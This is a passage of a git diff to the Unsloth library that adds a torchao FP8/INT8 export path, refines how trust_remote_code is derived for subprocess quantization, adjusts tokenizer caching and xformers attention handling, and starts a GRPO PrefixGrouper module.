+        snapshot_download(
+            repo_id = model_name,
+            allow_patterns = [name for name, _ in shard_names]
+            + ["model.safetensors.index.json", "tokenizer.model"],
+            cache_dir = hub_cache_dir,
+            token = token,
+        )
+    except Exception as e:
+        print(
+            f"Unsloth: Could not pre-cache the base model weights ({e}). "
+            f"Falling back to downloading into the merge directory."
+        )
+
+
 @torch.inference_mode
 def save_to_gguf_generic(
     model,
@@ -3552,15 +3995,16 @@ def save_to_gguf_generic(
                 "Unsloth: quantization_method can only be a string or a list of strings"
             )
         for i, quant_method in enumerate(quantization_method):
-            quant_method = quant_method.lower()
+            if quant_method is None:
+                quant_method = "q8_0"
+            else:
+                quant_method = quant_method.lower()
             if quant_method == "not_quantized":
                 quant_method = "f16"
             elif quant_method == "fast_quantized":
                 quant_method = "q8_0"
             elif quant_method == "quantized":
                 quant_method = "q4_k_m"
-            elif quant_method is None:
-                quant_method = "q8_0"
             new_quantization_methods.append(quant_method.lower())
     else:
         new_quantization_methods.append(quantization_type.lower())
@@ -3711,6 +4155,7 @@ def unsloth_generic_save(
 
         print(f"Unsloth: Model saved successfully to '{save_directory}'")
     else:
+        _prewarm_base_model_hub_cache(model, save_method = save_method, token = token)
         merge_and_overwrite_lora(
             get_model_name,
             model = model,
@@ -3812,10 +4257,40 @@ def unsloth_generic_save_pretrained_merged(
             gc.collect()
         return
 
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     del arguments["self"]
     del arguments["_compressed"]
+    del arguments["_torchao"]
     del arguments["calibration_dataset"]
     del arguments["num_calibration_samples"]
     del arguments["max_seq_length"]
@@ -3896,6 +4371,37 @@ def unsloth_generic_push_to_hub_merged(
             gc.collect()
         return
 
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            is_main_process = True,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     arguments["save_directory"] = repo_id
@@ -3903,6 +4409,7 @@ def unsloth_generic_push_to_hub_merged(
     del arguments["self"]
     del arguments["repo_id"]
     del arguments["_compressed"]
+    del arguments["_torchao"]
     del arguments["calibration_dataset"]
     del arguments["num_calibration_samples"]
     del arguments["max_seq_length"]
@@ -4181,22 +4688,36 @@ def _unsloth_save_compressed_tensors(
     if not is_main_process:
         return None
 
-    # 1) Install llm-compressor and gate on scheme availability BEFORE merging, so an unsupported
-    #    scheme (e.g. mxfp8) fails fast instead of writing a full 16bit checkpoint first.
-    install_llm_compressor()
-    if not _scheme_is_available(scheme):
-        try:
-            import transformers as _tf
-            tf_ver = _tf.__version__
-        except Exception:
-            tf_ver = "unknown"
-        raise RuntimeError(
-            f"Unsloth: scheme '{scheme}' is not available in your installed "
-            f"compressed-tensors / llm-compressor.\n"
-            f"It requires a newer llm-compressor that needs transformers>=5.9 "
-            f"(you have transformers {tf_ver}).\n"
-            "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor."
-        )
+    # 1) Prepare the quantization runtime BEFORE merging, so an unusable config fails fast instead of
+    #    writing a full 16bit checkpoint first. With the llm-compressor-main shadow the subprocess
+    #    validates everything itself, so skip the workspace install / ceiling / scheme checks; without
+    #    it, install the workspace llm-compressor and fail fast past its transformers ceiling.
+    _shadow_pythonpath = _compressed_quantize_pythonpath()
+    if _shadow_pythonpath is None:
+        install_llm_compressor()
+        # llm-compressor cannot run under a newer transformers than its ceiling: the quantization
+        # subprocess would die with a cryptic ImportError (TORCH_INIT_FUNCTIONS) only AFTER the costly
+        # 16bit merge. Detect and fail fast with an actionable message instead.
+        _exceeds, _tf_ver = _transformers_exceeds_llm_compressor_ceiling()
+        if _exceeds:
+            raise RuntimeError(
+                f"Unsloth: FP8/FP4 compressed-tensors export is not available for this model. It runs "
+                f"under transformers {_tf_ver}, but llm-compressor supports transformers "
+                f"<= {_LLM_COMPRESSOR_MAX_TRANSFORMERS}. Export to GGUF or 16-bit instead."
+            )
+        if not _scheme_is_available(scheme):
+            try:
+                import transformers as _tf
+                tf_ver = _tf.__version__
+            except Exception:
+                tf_ver = "unknown"
+            raise RuntimeError(
+                f"Unsloth: scheme '{scheme}' is not available in your installed "
+                f"compressed-tensors / llm-compressor.\n"
+                f"It requires a newer llm-compressor that needs transformers>=5.9 "
+                f"(you have transformers {tf_ver}).\n"
+                "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor."
+            )
 
     # 2) Pick the local working dir. For a hub push, save_directory is a repo id, so merge and
     #    quantize inside an isolated temp dir instead of writing ./<repo_id> into the cwd.
@@ -4248,8 +4769,8 @@ def _unsloth_save_compressed_tensors(
         )
         unsloth_generic_save(**merge_args)
 
-        # 4) Detect VLM + trust_remote_code from the in-memory model config. A vision/multimodal
-        #    model exposes a vision_config or an explicitly vision-named architecture; a bare
+        # 4) Detect VLM from the in-memory model config. A vision/multimodal model exposes a
+        #    vision_config or an explicitly vision-named architecture; a bare
         #    *ForConditionalGeneration also matches text seq2seq models (T5/BART/Whisper), so it
         #    is not treated as a VLM on its own.
         is_vlm = False
@@ -4263,9 +4784,13 @@ def _unsloth_save_compressed_tensors(
                 "Unsloth: FP8/FP4 compressed export for vision / multimodal models is "
                 "experimental; vision-tower layers may be affected."
             )
-        trust_remote_code = (
-            bool(getattr(model.config, "auto_map", None)) if hasattr(model, "config") else False
-        )
+        # trust_remote_code must reflect the approved load decision (whether the model / tokenizer
+        # was actually loaded from custom code), not the config's static auto_map, so a
+        # built-in-loadable model carrying auto_map cannot run unvetted code in the subprocess.
+        # Model and tokenizer trust stay separate, like the torchao path: an approved custom
+        # tokenizer must not enable an unapproved model's code in the subprocess (or vice versa).
+        model_trust = _loaded_via_remote_code(model)
+        tok_trust = _loaded_via_remote_code(tokenizer)
 
         # 5) Marshal the calibration dataset for the subprocess: None -> ultrachat default; a
         #    str/PathLike is a local save_to_disk dir if it exists else a Hub id; Dataset -> temp.
@@ -4340,8 +4865,10 @@ def _unsloth_save_compressed_tensors(
             cmd += ["--calibration-dataset", calib_value]
         if is_vlm:
             cmd.append("--is-vlm")
-        if trust_remote_code:
+        if model_trust:
             cmd.append("--trust-remote-code")
+        if tok_trust:
+            cmd.append("--trust-remote-code-tokenizer")
         if variant:
             cmd += ["--variant", variant]
 
@@ -4360,8 +4887,15 @@ def _unsloth_save_compressed_tensors(
             env["HF_TOKEN"] = token
             env["HUGGING_FACE_HUB_TOKEN"] = token
 
+        # Clean PYTHONPATH = shadow only. torch still comes from the interpreter's site-packages;
+        # transformers 5.x + llm-compressor main come from the shadow. Dropping the inherited
+        # PYTHONPATH removes any parent transformers sidecar so the shadow's is authoritative.
+        if _shadow_pythonpath is not None:
+            env["PYTHONPATH"] = _shadow_pythonpath
+
         print(
             f"Unsloth: Quantizing the merged model to {scheme} with llm-compressor "
+            f"{'(llm-compressor-main shadow) ' if _shadow_pythonpath is not None else ''}"
             "(in a separate process)..."
         )
         try:
@@ -4423,6 +4957,237 @@ def _unsloth_save_compressed_tensors(
                 torch.cuda.empty_cache()
 
 
+def _unsloth_save_torchao(
+    model,
+    save_directory: Union[str, os.PathLike],
+    tokenizer,
+    kind: str,
+    suffix: str,
+    push_to_hub: bool = False,
+    token: Optional[Union[str, bool]] = None,
+    is_main_process: bool = True,
+    **merge_kwargs,
+):
+    """Export a device-agnostic torchao FP8 / INT8 "portable" checkpoint (no NVIDIA GPU needed).
+
+    Merges LoRA to 16bit in a staging dir, then applies torchao weight-only quantization via
+    `TorchAoConfig` into `save_directory + "-" + suffix`. No calibration, subprocess, or CUDA.
+    `kind` is "fp8" (safetensors) or "int8" (.bin; torchao only whitelists float8 for safetensors).
+    """
+    import tempfile
+
+    if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):
+        tokenizer = patch_saving_functions(tokenizer)
+    if token is None:
+        token = get_token()
+
+    # Only the main process merges, quantizes, and uploads; other ranks return at once.
+    if not is_main_process:
+        return None
+
+    from transformers import (
+        AutoModelForCausalLM,
+        AutoTokenizer,
+        AutoProcessor,
+        TorchAoConfig,
+    )
+    from torchao.quantization import Float8WeightOnlyConfig, Int8WeightOnlyConfig
+
+    if kind == "fp8":
+        quant_type = Float8WeightOnlyConfig()
+        safe_serialization = True
+    elif kind == "int8":
+        quant_type = Int8WeightOnlyConfig()
+        safe_serialization = False  # torchao only supports safetensors for float8 configs
+    else:
+        raise RuntimeError(f"Unsloth: unknown torchao export kind '{kind}' (expected fp8/int8).")
+
+    # Always merge into an isolated temp staging dir (never save_directory itself), so a co-selected
+    # 16-bit export written to save_directory is not overwritten or deleted; the torchao output is
+    # the sibling "<save_directory>-<suffix>" (or the repo id on a hub push).
+    repo_id, work_tmp, model_dev = None, None, None
+    work_tmp = tempfile.mkdtemp(prefix = "unsloth-torchao-")
+    if push_to_hub:
+        repo_id = os.fspath(save_directory)
+        staging = os.path.join(work_tmp, os.path.basename(repo_id.rstrip("/")) or "model")
+        out_dir = staging + "-" + suffix
+    else:
+        base = os.fspath(save_directory).rstrip("/\\") or os.fspath(save_directory)
+        staging = os.path.join(work_tmp, os.path.basename(base) or "model")
+        out_dir = base + "-" + suffix
+
+    api = None
+    try:
+        if push_to_hub:
+            from huggingface_hub import HfApi
+            api = HfApi(token = token)
+            api.create_repo(
+                repo_id = repo_id,
+                repo_type = "model",
+                private = merge_kwargs.get("private", None),
+                exist_ok = True,
+            )
+
+        # 1) Merge to 16bit at a staging dir (LoRA and base alike). The reload reads default
+        #    weight filenames, so never write variant-named shards here.
+        merge_kwargs.pop("variant", None)
+        print(f"Unsloth: Merging to 16bit before torchao {kind} quantization...")
+        merge_args = dict(merge_kwargs)
+        merge_args.update(
+            dict(
+                model = model,
+                tokenizer = tokenizer,
+                save_directory = staging,
+                save_method = "merged_16bit",
+                push_to_hub = False,
+                token = token,
+                is_main_process = is_main_process,
+            )
+        )
+        unsloth_generic_save(**merge_args)
+
+        # 2) Detect VLM + reload class. A bare *ForConditionalGeneration also matches text seq2seq
+        #    (T5/BART/Whisper), so key off vision_config / a vision-named architecture only.
+        is_vlm = False
+        if hasattr(model, "config"):
+            archs = getattr(model.config, "architectures", None) or []
+            is_vlm = hasattr(model.config, "vision_config") or any(
+                x.endswith("ForVisionText2Text") for x in archs
+            )
+        # trust_remote_code must reflect the approved load decision - whether the in-memory model /
+        # tokenizer was itself loaded from custom code - not the staged config's auto_map, which an
+        # attacker can set on a built-in-loadable model to run unvetted code past the consent gate.
+        model_trust = _loaded_via_remote_code(model)
+        tok_trust = _loaded_via_remote_code(tokenizer)
+        # Reload with the class that matches the checkpoint: an image-text VLM class (with a
+        # fallback for older Transformers that lack AutoModelForImageTextToText); the model's own
+        # architecture class for encoder-decoder seq2seq (T5/BART/Whisper are not causal LMs, and
+        # AutoModelForCausalLM would fail to load them); otherwise causal-LM.
+        if is_vlm:
+            try:
+                from transformers import AutoModelForImageTextToText as _reload_model
+            except ImportError:
+                from transformers import AutoModelForVision2Seq as _reload_model
+            auto_model = _reload_model
+        elif getattr(getattr(model, "config", None), "is_encoder_decoder", False):
+            import transformers as _tf
+            auto_model = next(
+                (
+                    getattr(_tf, _arch)
+                    for _arch in (getattr(model.config, "architectures", None) or [])
+                    if getattr(_tf, _arch, None) is not None
+                ),
+                AutoModelForCausalLM,
+            )
+        else:
+            auto_model = AutoModelForCausalLM
+        auto_processor = AutoProcessor if is_vlm else AutoTokenizer
+
+        # 3) Free the in-memory model's accelerator memory before reloading a fresh copy from disk.
+        #    Covers CUDA and XPU (torchao runs on Intel GPUs too), so the original doesn't sit
+        #    resident alongside the reloaded copy and OOM a device that fit the model once.
+        _has_xpu = hasattr(torch, "xpu") and torch.xpu.is_available()
+        try:
+            if (
+                (torch.cuda.is_available() or _has_xpu)
+                and hasattr(model, "parameters")
+                and not getattr(model, "is_loaded_in_4bit", False)
+                and not getattr(model, "is_loaded_in_8bit", False)
+                and not getattr(model, "is_quantized", False)
+            ):
+                _devs = {str(p.device) for p in model.parameters()}
+                if len(_devs) == 1 and next(iter(_devs)).startswith(("cuda", "xpu")):
+                    _dev = next(model.parameters()).device
+                    model.to("cpu")
+                    model_dev = _dev
+        except Exception:
+            model_dev = None
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+            if _has_xpu:
+                torch.xpu.empty_cache()
+
+        # 4) Reload the staged 16bit checkpoint with torchao applied. bfloat16 is required;
+        #    device_map="auto" falls back to CPU, so this works on any hardware.
+        print(f"Unsloth: Quantizing the merged model to torchao {kind}...")
+        dtype_kw = {"torch_dtype": torch.bfloat16} if HAS_TORCH_DTYPE else {"dtype": torch.bfloat16}
+        quantized_model = auto_model.from_pretrained(
+            staging,
+            device_map = "auto",
+            quantization_config = TorchAoConfig(quant_type = quant_type),
+            trust_remote_code = model_trust,
+            **dtype_kw,
+        )
+        staged_tokenizer = auto_processor.from_pretrained(staging, trust_remote_code = tok_trust)
+
+        quantized_model.save_pretrained(out_dir, safe_serialization = safe_serialization)
+        staged_tokenizer.save_pretrained(out_dir)
+        del quantized_model
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+        # 5) Validate the artifact.
+        cfg_path = os.path.join(out_dir, "config.json")
+        cfg = {}
+        if os.path.exists(cfg_path):
+            with open(cfg_path, "r", encoding = "utf-8") as f:
+                cfg = json.load(f)
+        if "quantization_config" not in cfg:
+            raise RuntimeError(
+                f"Unsloth: torchao {kind} export failed - no quantization_config written to "
+                f"{cfg_path}"
+            )
+
+        # 6) Optional hub upload of the quantized artifact (the temp staging is cleaned in finally).
+        if push_to_hub:
+            print(f"Unsloth: Uploading torchao {kind} checkpoint to '{repo_id}' ...")
+            api.upload_folder(
+                folder_path = out_dir,
+                repo_id = repo_id,
+                repo_type = "model",
+                commit_message = merge_kwargs.get("commit_message", None),
+                commit_description = merge_kwargs.get("commit_description", None),
+                create_pr = merge_kwargs.get("create_pr", False),
+                revision = merge_kwargs.get("revision", None),
+            )
+            datasets = merge_kwargs.get("datasets", None)
+            if datasets:
+                try:
+                    from huggingface_hub import metadata_update
+                    metadata_update(repo_id, {"datasets": datasets}, overwrite = True, token = token)
+                except Exception as meta_err:
+                    logger.warning_once(
+                        f"Unsloth: could not update datasets metadata for {repo_id}: {meta_err}"
+                    )
+
+        result = repo_id if push_to_hub else out_dir
+        print(
+            f"Unsloth: Saved torchao {kind} checkpoint to '{result}'.\n"
+            f"Unsloth: This is portable (produced on any device, no NVIDIA GPU required). Load it "
+            f"with vLLM or transformers; FP8/INT8 acceleration is available on supported GPUs."
+        )
+        return result
+    finally:
+        if model_dev is not None:
+            try:
+                model.to(model_dev)
+            except Exception:
+                logger.warning_once(
+                    "Unsloth: could not restore the model to its original device after torchao "
+                    "export; it may remain on CPU."
+                )
+        if work_tmp is not None:
+            shutil.rmtree(work_tmp, ignore_errors = True)
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+
 def unsloth_save_pretrained_torchao(
     self,
     save_directory: Union[str, os.PathLike],
diff --git a/unsloth/tokenizer_utils.py b/unsloth/tokenizer_utils.py
index 93dfa9b2ad..3a91ef188d 100644
--- a/unsloth/tokenizer_utils.py
+++ b/unsloth/tokenizer_utils.py
@@ -563,8 +563,11 @@ def _load_correct_tokenizer(
         # /tmp of Kaggle seems has a 80GB limit!
         # Let's utilize them
         cache_dir = os.path.join(KAGGLE_TMP, cache_dir)
-    else:
+    elif cache_dir == "huggingface_tokenizers_cache":
+        # This default name is Colab/Kaggle-only; elsewhere use the HF default cache.
         cache_dir = None
+    # else: keep a caller-supplied cache_dir so the tokenizer loads from the prefetch-warmed dir instead
+    # of risking an in-process Hub/Xet transfer.
 
     # Try loading the slow tokenizer. If it fails, then try Fast only
     # Mainly to solve Deepseek models with no tokenizer.model file
@@ -1323,6 +1326,7 @@ def check_tokenizer(
     padding_side = "right",
     token = None,
     _reload = True,
+    cache_dir = None,
 ):
     # Checks tokenizer for out of bounds ids.
     # Mainly a fix for https://huggingface.co/berkeley-nest/Starling-LM-7B-alpha
@@ -1413,10 +1417,11 @@ def check_tokenizer(
                     f"Fix your tokenizer since it'll perform out of bounds memory accesses."
                 )
 
-            if IS_COLAB_ENVIRONMENT or IS_KAGGLE_ENVIRONMENT:
-                cache_dir = "huggingface_tokenizers_cache"
-            else:
-                cache_dir = None
+            # Reuse a caller-supplied cache_dir (warmed cache) for the repair reload; else the
+            # Colab/Kaggle sentinel (HF default elsewhere), as load_correct_tokenizer does.
+            reload_cache_dir = cache_dir
+            if reload_cache_dir is None and (IS_COLAB_ENVIRONMENT or IS_KAGGLE_ENVIRONMENT):
+                reload_cache_dir = "huggingface_tokenizers_cache"
 
             # Sometimes slow tokenizer does not work like Deepseek
             try:
@@ -1430,7 +1435,7 @@ def check_tokenizer(
                     use_fast = False,
                     legacy = False,
                     from_slow = True,
-                    cache_dir = cache_dir,
+                    cache_dir = reload_cache_dir,
                 )
                 return check_tokenizer(
                     model = model,
@@ -1440,6 +1445,7 @@ def check_tokenizer(
                     padding_side = padding_side,
                     token = token,
                     _reload = False,
+                    cache_dir = cache_dir,
                 )
                 break
             except:
diff --git a/unsloth/utils/attention_dispatch.py b/unsloth/utils/attention_dispatch.py
index 2e984bad0a..eda6103d5b 100644
--- a/unsloth/utils/attention_dispatch.py
+++ b/unsloth/utils/attention_dispatch.py
@@ -17,6 +17,7 @@
 
 from __future__ import annotations
 
+import os
 from dataclasses import dataclass
 from typing import Any, Optional, Tuple
 
@@ -34,14 +35,57 @@ if HAS_FLASH_ATTENTION:
     from flash_attn import flash_attn_func, flash_attn_varlen_func
 HAS_XFORMERS = xformers is not None
 
-# xformers kernels (FA3, FA2, cutlass) only support compute capability <= 9.0.
-# Disable xformers on newer GPUs (e.g. RTX 5070 Ti / sm_120) and fall back to SDPA.
-if HAS_XFORMERS and torch.cuda.is_available():
-    _cc = torch.cuda.get_device_capability()
-    if _cc[0] >= 12:
+
+def _xformers_runs_on_device() -> bool:
+    """One tiny attention forward; True iff the xformers kernel actually runs here."""
+    try:
+        # Pre-Ampere GPUs (sm < 80: Turing/Volta) have no bfloat16 attention kernel
+        # but run xformers fine in float16, so pick the dtype the device supports.
+        dtype = torch.bfloat16 if SUPPORTS_BFLOAT16 else torch.float16
+        q = torch.zeros((1, 8, 1, 64), device = "cuda", dtype = dtype)
+        attn_bias = xformers.attn_bias.BlockDiagonalCausalMask.from_seqlens([8])
+        xformers_attention(q, q, q, attn_bias = attn_bias)
+        # Launches are async; synchronize so a deferred kernel failure fails the probe here.
+        torch.cuda.synchronize()
+        return True
+    except Exception:
+        return False
+
+
+def _xformers_disabled_for_capability(capability, probe = _xformers_runs_on_device) -> bool:
+    # At sm_120 (RTX 50-series) xformers' cutlass op is capability-rejected (caps at
+    # sm_90) and its flash-2 op runs only if the build ships an sm_120 kernel, so run
+    # one real forward to decide. Below sm_120 xformers always works; skip the probe.
+    if capability[0] < 12:
+        return False
+    return not probe()
+
+
+# FlashAttention always wins in select_attention_backend and nothing downgrades
+# flash -> xformers, so when it's installed xformers is never selected: skip the probe.
+if HAS_XFORMERS and not HAS_FLASH_ATTENTION and torch.cuda.is_available():
+    if _xformers_disabled_for_capability(torch.cuda.get_device_capability()):
         HAS_XFORMERS = False
+
+# On sm_100+ (B200, sm_120) xformers' fp32-capable cutlass op is capability-rejected and
+# only its fp16/bf16 flash-2 op runs, so fp32 Q/K/V (DoRA, #1013) must be downcast there;
+# below sm_100 cutlass handles fp32 natively. Read once from device 0, like the probe gate.
+_XFORMERS_FP32_UNSUPPORTED = (
+    torch.cuda.is_available() and torch.cuda.get_device_capability()[0] >= 10
+)
 SDPA_HAS_GQA = "enable_gqa" in (scaled_dot_product_attention.__doc__ or "")
 
+# PrefixGrouper kernel, resolved once when the env gate is on so PG-off users never load
+# torch flex_attention.
+_flex_shared_prefix_attention = None
+if os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER", "1").lower() not in ("0", "false", "no", "off"):
+    try:
+        from .prefix_grouper_kernel import (
+            flex_shared_prefix_attention as _flex_shared_prefix_attention,
+        )
+    except Exception:
+        _flex_shared_prefix_attention = None
+
 FLASH_VARLEN = "flash_varlen"
 FLASH_DENSE = "flash_dense"
 XFORMERS = "xformers"
@@ -84,6 +128,9 @@ class AttentionContext:
     attention_mask: Optional[Tensor]
     causal_mask: Optional[Any]
     sliding_window: Optional[int] = None
+    # PrefixGrouper: non-None routes Q/K/V through the FlexAttention shared-prefix kernel;
+    # None leaves every existing construction/behavior unchanged.
+    prefix_seg_info: Optional[Any] = None
 
 
 def select_attention_backend(use_varlen: bool = False) -> str:
@@ -99,6 +146,33 @@ def select_attention_backend(use_varlen: bool = False) -> str:
     return SDPA
 
 
+def resolve_prefix_seg_info(kwargs, past_key_value, attention_mask):
+    """PrefixGrouper shared-prefix segment table resolver for the arch attention forwards.
+
+    The GRPO PrefixGrouper packed path rides a ``PrefixSegInfo`` in through ``**kwargs``
+    (same route as ``packed_seq_lengths``). When present, the forward must route Q/K/V
+    through the FlexAttention shared-prefix kernel via ``AttentionContext.prefix_seg_info``.
+
+    Returns the seg table (or ``None`` when PrefixGrouper did not group this batch -- the
+    unchanged path). Hardened: the shared-prefix stream is NOT a plain causal sequence, so running
+    it under a KV cache or an explicit padding mask would silently produce wrong logprobs.
+    That combination can only arise from misuse (PrefixGrouper only rides in via the GRPO
+    logprob forward, which is mask-free prefill), so we RAISE loudly instead of degrading
+    to a wrong result.
+
+    Factored here so every arch (llama/mistral/qwen3/gemma2/cohere/granite/falcon_h1)
+    shares one implementation and cannot drift.
+    """
+    seg = kwargs.get("prefix_seg_info", None)
+    if seg is not None and (past_key_value is not None or attention_mask is not None):
+        raise RuntimeError(
+            "PrefixGrouper: prefix_seg_info requires prefill with no KV cache and no "
+            f"attention_mask (got past_key_value={past_key_value is not None}, "
+            f"attention_mask={attention_mask is not None})."
+        )
+    return seg
+
+
 def run_attention(
     *, config: AttentionConfig, context: AttentionContext, Q: Tensor, K: Tensor, V: Tensor
 ) -> Tensor:
@@ -111,6 +185,28 @@ def run_attention(
     and SDPA handle packing via a block-diagonal mask.
     """
 
+    # PrefixGrouper shared-prefix attention (GRPO dedup). Q/K/V here are [bsz, H, T, D];
+    # the kernel takes/returns [1, T, H, D], matching the other backends. The field is
+    # only set when the env gate is on and grouping succeeded; None keeps every backend
+    # byte-identical.
+    if context.prefix_seg_info is not None:
+        flex_shared_prefix_attention = _flex_shared_prefix_attention
+        if flex_shared_prefix_attention is None:
+            # gate flipped on after import (or one-time load failed): resolve lazily.
+            from ..utils.prefix_grouper_kernel import flex_shared_prefix_attention
+
+        scale = None
+        if config.flash_varlen_kwargs:
+            scale = config.flash_varlen_kwargs.get("softmax_scale")
+        A = flex_shared_prefix_attention(
+            Q.transpose(1, 2),
+            K.transpose(1, 2),
+            V.transpose(1, 2),
+            context.prefix_seg_info,
+            scale = scale,
+        )
+        return A  # [1, T, n_heads, head_dim]
+
     backend = config.backend
     if backend == FLASH_VARLEN and context.seq_info is None:
         backend = FLASH_DENSE if HAS_FLASH_ATTENTION else SDPA
@@ -137,9 +233,13 @@ def run_attention(
     requires_grad = context.requires_grad
     sliding_window = context.sliding_window
 
-    # DoRA promotes q/k/v_proj outputs to fp32, which FlashAttention rejects, so
-    # downcast any fp32 Q/K/V to a flash-supported dtype (#1013).
-    if backend in (FLASH_DENSE, FLASH_VARLEN) and torch.float32 in (
+    # DoRA promotes q/k/v_proj outputs to fp32, which FlashAttention rejects (and so does
+    # the xformers flash-2 op on sm_100+, see _XFORMERS_FP32_UNSUPPORTED), so downcast any
+    # fp32 Q/K/V to a supported dtype (#1013).
+    if (
+        backend in (FLASH_DENSE, FLASH_VARLEN)
+        or (backend == XFORMERS and _XFORMERS_FP32_UNSUPPORTED)
+    ) and torch.float32 in (
         Q.dtype,
         K.dtype,
         V.dtype,
@@ -147,14 +247,16 @@ def run_attention(
         # Prefer the autocast dtype, else a non-fp32 input's dtype, then clamp.
         if torch.is_autocast_enabled():
             try:
-                flash_dtype = torch.get_autocast_dtype("cuda")
+                downcast_dtype = torch.get_autocast_dtype("cuda")
             except (AttributeError, TypeError):
-                flash_dtype = torch.get_autocast_gpu_dtype()
+                downcast_dtype = torch.get_autocast_gpu_dtype()
         else:
-            flash_dtype = next((d for d in (Q.dtype, K.dtype, V.dtype) if d != torch.float32), None)
-        if flash_dtype not in (torch.float16, torch.bfloat16):
-            flash_dtype = torch.bfloat16 if SUPPORTS_BFLOAT16 else torch.float16
-        Q, K, V = Q.to(flash_dtype), K.to(flash_dtype), V.to(flash_dtype)
+            downcast_dtype = next(
+                (d for d in (Q.dtype, K.dtype, V.dtype) if d != torch.float32), None
+            )
+        if downcast_dtype not in (torch.float16, torch.bfloat16):
+            downcast_dtype = torch.bfloat16 if SUPPORTS_BFLOAT16 else torch.float16
+        Q, K, V = Q.to(downcast_dtype), K.to(downcast_dtype), V.to(downcast_dtype)
 
     if backend == FLASH_VARLEN:
         Q_f = Q.transpose(1, 2).reshape(bsz * q_len, n_heads, head_dim)
@@ -337,5 +439,6 @@ __all__ = [
     "AttentionConfig",
     "AttentionContext",
     "select_attention_backend",
+    "resolve_prefix_seg_info",
     "run_attention",
 ]
diff --git a/unsloth/utils/prefix_grouper.py b/unsloth/utils/prefix_grouper.py
new file mode 100644
index 0000000000..4e6ff9672c
--- /dev/null
+++ b/unsloth/utils/prefix_grouper.py
@@ -0,0 +1,351 @@
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""PrefixGrouper layout builder + completion-logprob extraction for the Unsloth GRPO
+packed path (all archs that route through the varlen attention dispatch).
+
+Given the de-padded, LEFT-PACKED input_ids the packed GRPO path already works with, this
+module:
+
+  1. Detects consecutive ``num_generations`` rows that share a prompt prefix (byte-
+     identical prompt precondition; falls back / returns None otherwise).
+  2. Builds ONE flat shared-prefix stream across all groups
+     ``[ prefix_g0, suf_g0_0 .. suf_g0_{G-1}, prefix_g1, ... ]`` with position_ids that
+     continue each prefix positionally, plus a ``PrefixSegInfo`` segment table for the
+     FlexAttention shared-prefix kernel.
+  3. Extracts completion logprobs via the index map (completion pos ``j==0`` predicted
+     from the shared prefix's last token; ``j>=1`` from the preceding suffix token) and
+     scatters them back into ``[total_rows, W]`` EXACTLY where the full-row packed path
+     puts them (dest = ``orig_row*L + orig_col``), so grpo_compute_loss / completion_mask
+     / TIS / metrics are byte-untouched.
+
+The flat stream is built by GATHERING original (row, col) coordinates out of input_ids,
+so the grad path's autograd flows to the same embedding rows as today (the shared prefix
+now contributes grad once = the sum of the G repeats, which is mathematically identical).
+
+``chunked_hidden_states_selective_log_softmax`` (from unsloth_zoo, passed in) is reused
+verbatim over the gathered predicting-position hidden states, so fp32 accumulation,
+logit_scale/softcapping/temperature are all preserved.
+
+Env:
+  UNSLOTH_GRPO_PREFIX_GROUPER=1            engage (default ON; set 0 to disable). Auto-off under vLLM.
+  UNSLOTH_GRPO_PREFIX_GROUPER_TOKR=1.3     tok_r auto-gate threshold (env-overridable)
+  UNSLOTH_GRPO_PREFIX_GROUPER_VERIFY=1     first-step self-verify (default ON)
+  UNSLOTH_GRPO_PREFIX_GROUPER_TOL=0.7      self-verify PASS band (nats)
+"""
+
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass
+from typing import List, Optional, Tuple
+
+import torch
+
+from .prefix_grouper_kernel import build_seg_info_multigroup, PrefixSegInfo
+
+
+# ---------------------------------------------------------------------------
+# Env helpers
+# ---------------------------------------------------------------------------
+def env_on(name: str, default: str = "0") -> bool:
+    return os.environ.get(name, default).lower() not in ("0", "false", "no", "off")
+
+
+# One-time env reads; the helpers stay callable since unsloth_zoo imports and calls them.
